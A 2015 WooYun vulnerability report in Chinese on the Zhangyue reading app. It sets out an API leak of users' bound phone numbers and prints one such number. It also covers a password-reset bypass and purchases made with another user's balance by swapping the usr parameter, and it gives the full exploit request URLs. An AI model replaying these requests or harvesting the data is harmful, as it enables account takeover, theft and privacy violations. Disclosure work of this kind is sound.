漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2015-094982
漏洞标题:掌阅读书app账户密码找回绕过/账户信息泄漏/使用他人账户为自己买书等系列问题
相关厂商:zhangyue.com
漏洞作者: kttzd
提交时间:2015-02-01 09:48
修复时间:2015-02-06 09:50
公开时间:2015-02-06 09:50
漏洞类型:设计缺陷/逻辑错误
危害等级:高
自评Rank:20
漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2015-02-01: 细节已通知厂商并且等待厂商处理中
2015-02-06: 厂商已经主动忽略漏洞,细节向公众公开
简要描述:
本来就想安静的看个书,但是书都是收费的,然后目测出了各种漏洞....
详细说明:
本来我是想测试的是短信充值业务,后来仔细一看是移动的短信接口,跟掌阅没关系就没有深入。
下载掌阅app(安卓和ios)
#以下url中的页面均在谷歌浏览器下可以正常显示
问题一,信息泄漏
之前 WooYun: 掌阅手机客户端可能泄漏用户信息 的问题还没有解决
出问题的是/zybook/u/p/
在新的安卓版app(手机)中调用的是/zybook3/app/ 在ios版app(iPad)调用的是/zybook4/ipad/
ios版的漏洞比较明显(没有sign参数),接口
http://ah2.zhangyue.com/zybook4/app/ipad.php?ca=User.FindPwd&pk=1U1&usr=i4&p1=150130195131672345&p2=111010&p3=636021&p4=501621&p5=1001&p6=AAAAAAAAAAAAAAAAAAAA&p7=AAAAAAAAAAAAAAA&p9=0&p11=584&p12=&p15=150115&p16=iPad4,7&p19=palmreader_iphone_3.6.0&p21=3&p22=iPhone_OS,8.0&p23=IMM76D.ZSLPQ
其中usr是用户的id。
这个接口可以查看任意(这个任意其实挺模糊的比如i9这个账号这里就登录不上但是i2,i3等等和我新注册的都能登录)
以i1为例子
查看(为什么没拿主页做例子是因为密码找回处还存在新的漏洞)
http://ah2.zhangyue.com/zybook4/app/ipad.php?ca=User.FindPwd&pk=1U1&usr=i1&p1=150130195131672345&p2=111010&p3=636021&p4=501621&p5=1001&p6=AAAAAAAAAAAAAAAAAAAA&p7=AAAAAAAAAAAAAAA&p9=0&p11=584&p12=&p15=150115&p16=iPad4,7&p19=palmreader_iphone_3.6.0&p21=3&p22=iPhone_OS,8.0&p23=IMM76D.ZSLPQ
再点击这个页面
http://ah2.zhangyue.com/zybook4/app/ipad.php?ca=User.EditPwd&pk=1U1&usr=i1&rgt=7&p1=150130195131672345&p2=111010&p3=636021&p4=501621&p5=1001&p6=AAAAAAAAAAAAAAAAAAAA&p7=AAAAAAAAAAAAAAA&p9=0&p11=584&p12=&p15=150115&p16=iPad4%2C7&p19=palmreader_iphone_3.6.0&p21=3&p22=iPhone_OS%2C8.0&p23=IMM76D.ZSLPQ
查看源代码,在doSubmit()这个函数中泄漏了绑定的手机号(默认手机号是加码显示的)
这里显示的是15332051457这个手机号,应该是i1这位同学绑定的把。
理论上可以写个脚本或者burp跑下把把所有客户绑定的手机号拿到(未验证)..
其实泄漏手机号也没啥的,但是绑定手机号这个地方又引出了其他问题。
问题二,未绑定手机账户密码任意修改(找回)
通过上个问题我们能拿到绑定手机的账户和不绑定手机的账号。这里我们对没有绑定手机的账户进行测试,最开始对i2进行了测试,成功将密码改为我们设置的,但是有一个缺陷就是必须绑定一个手机。
这里拿i1111111做例子
点击使用修改密码(找回密码处如果用新的手机号会为新的手机号再注册个账户)
http://ah2.zhangyue.com/zybook4/app/ipad.php?ca=User.EditPwd&pk=1U1&usr=i1111111&rgt=7&p1=150130195131672345&p2=111010&p3=636021&p4=501621&p5=1001&p6=AAAAAAAAAAAAAAAAAAAA&p7=AAAAAAAAAAAAAAA&p9=0&p11=584&p12=&p15=150115&p16=iPad4%2C7&p19=palmreader_iphone_3.6.0&p21=3&p22=iPhone_OS%2C8.0&p23=IMM76D.ZSLPQ
使用一个新的手机号,然后点击获取验证码,然后收到验证码之后修改密码,如果成功会url中出现json数据
因为没有手机号了,仅仅将i2一个绑定到我的手机上。
问题三,使用他人账户购买图书
之前测试了很多的账户有个i9不能查看密码找回那块。通过http://ah2.zhangyue.com/zybook/u/p/user.php?usr=i9
查看到余额有1196.13元
此漏洞在安卓和ios客户端中同时存在,此处用ios客户端测试
正常使用一个账户去登录,此处就拿i2了。随便找一本价格比自身账户多的书去购买。此处就选《大规模分布式系统构架与设计分析》价格3000阅饼
正常状态下
这是个悲伤的故事
在点击进《大规模分布式系统构架与设计分析》的时候把url中的usr=i2替换成usr=i9
点击购买
在购买过程中必须时刻替换usr=i2为usr=i9
购买成功,成功下载这本书到本地。
为了防止我是假冒的,特意将这本书的最后一页放出(通常情况下可以试读一部分的)
其他的问题
http://ah2.zhangyue.com/info.php
把这个删除了把。侧漏了
好像是因为掌阅客户端中有个查看附近的人的功能(能查看别人最近都读了什么)所以造成了api接口信息泄漏。
漏洞证明:
略
修复方案:
你们比我更懂。
严格控制api接口
版权声明:转载请注明来源 kttzd@乌云
漏洞回应
厂商回应:
危害等级:无影响厂商忽略
忽略时间:2015-02-06 09:50
厂商回复:
最新状态:
暂无